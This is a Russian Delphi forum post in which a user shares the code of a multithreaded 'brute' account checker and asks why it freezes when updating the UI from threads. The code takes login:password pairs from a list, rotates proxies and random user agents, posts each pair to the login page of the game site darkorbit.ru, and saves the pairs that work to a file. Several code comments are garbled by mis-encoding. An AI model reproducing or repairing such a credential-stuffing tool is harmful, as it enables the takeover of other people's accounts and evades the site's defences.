Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

 
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 24.06.2013, 09:37
Artem Klevakin Artem Klevakin вне форума
Прохожий
 
Регистрация: 16.06.2013
Сообщения: 2
Версия Delphi: delphi xe3
Репутация: 10
Печаль Помогите с synchronize и потоками

Код:
function TForm1.CheckAcc(login, passw, proxy, pport: string): integer;
var HTTP:TidHTTP; send:TStringList; pg:string;
begin
  HTTP:=TIdHTTP.Create(nil); //создаём компонент
  with HTTP do begin //устанавливаем настройки
    AllowCookies:=true; //âêëþ÷àåì êóêè
    HandleRedirects:=true; //Çàïðåùàåì ðåäèðåêò íà ñòðàíèöó
    ReadTimeout:=10000; //Òàéì àóò íà ñîåäèíåíèå (òèïî ÷åêåð ïðîêñè)
    ProxyParams.ProxyServer:=proxy; //Присваиваем прокси хост
    ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт
    randomize; //Рандомизируем числа
    Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent (типо мы через браузер заходим)
  end;

  //формируем параметры для POST запроса
  Send:=TStringList.Create;
  Send.Add('loginForm_default_username='+login);
  Send.Add('loginForm_default_password='+passw);
  Send.Add('loginForm_default_login_submit=Вход');
 try
    HTTP.Request.Referer:='http://darkorbit.ru/'; //Мы авторизируемся с главной страницы =)
    pg:=HTTP.Post('http://darkorbit.ru/?locale=ru&aid=0', send); //Отправляем запрос
  if pos('serverSelection' ,pg)<>0 then begin
   result:=1;
   end
   else
   result:=2;
 except
   result:=0;
 end;



  Send.Free; //Удаляем созданные ранее переменные
  HTTP.Free; //Удаляем созданные ранее компоненты
end;



procedure TBruteThread.Execute;
var rez:integer; ps, pp, slog, spass, sacc:string; i:integer;
begin
while work do

 begin
    inc(tp);
    if tp=ProxyList.Count-1 then tp:=0; ëà

    ps:=Copy(ProxyList[tp], 1, Pos(':',ProxyList[tp])-1); 
    pp:=Copy(ProxyList[tp], Pos(':', ProxyList[tp])+1, Length(ProxyList[tp]));

    sacc:=SourceList[0]; 
    SourceList.Delete(0);
    if SourceList.Count=0 then work:=false;

    if pos(':', sacc)<>0 then begin 
      slog:=Copy(sacc, 1, Pos(':',sacc)-1);
      spass:=Copy(sacc, Pos(':', sacc)+1, Length(sacc));
    end else begin 
      slog:=Copy(sacc, 1, Pos(';',sacc)-1);
      spass:=Copy(sacc, Pos(';', sacc)+1, Length(sacc));
    end;

    
    rez:=Form1.CheckAcc(slog, spass, ps, pp);

      case rez of 
        0:begin
        
          SourceList.Add(slog+';'+spass);
          Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1);
        end;

        1:begin Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1); 

          Append(GoodFile);
          Writeln(GoodFile, slog+';'+spass);
          Closefile(GoodFile); 

          Form1.LogMemo.Lines.Add(slog+';'+spass);
          Form1.Proc.Progress:=Form1.Proc.Progress+1; 
        end;

        2:begin 
          Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1); 
          Form1.Proc.Progress:=Form1.Proc.Progress+1;
        end;
      end;

end;
end;
Брут работает , но зависает , как как я не использовал synchronize в выводе результата . Когда я его использую у меня выводятся не верные данные , так как потоков много . С критической секцией не пробовал , но знаю , что будет медленно . Что подскажите ?
 


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 22:08.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025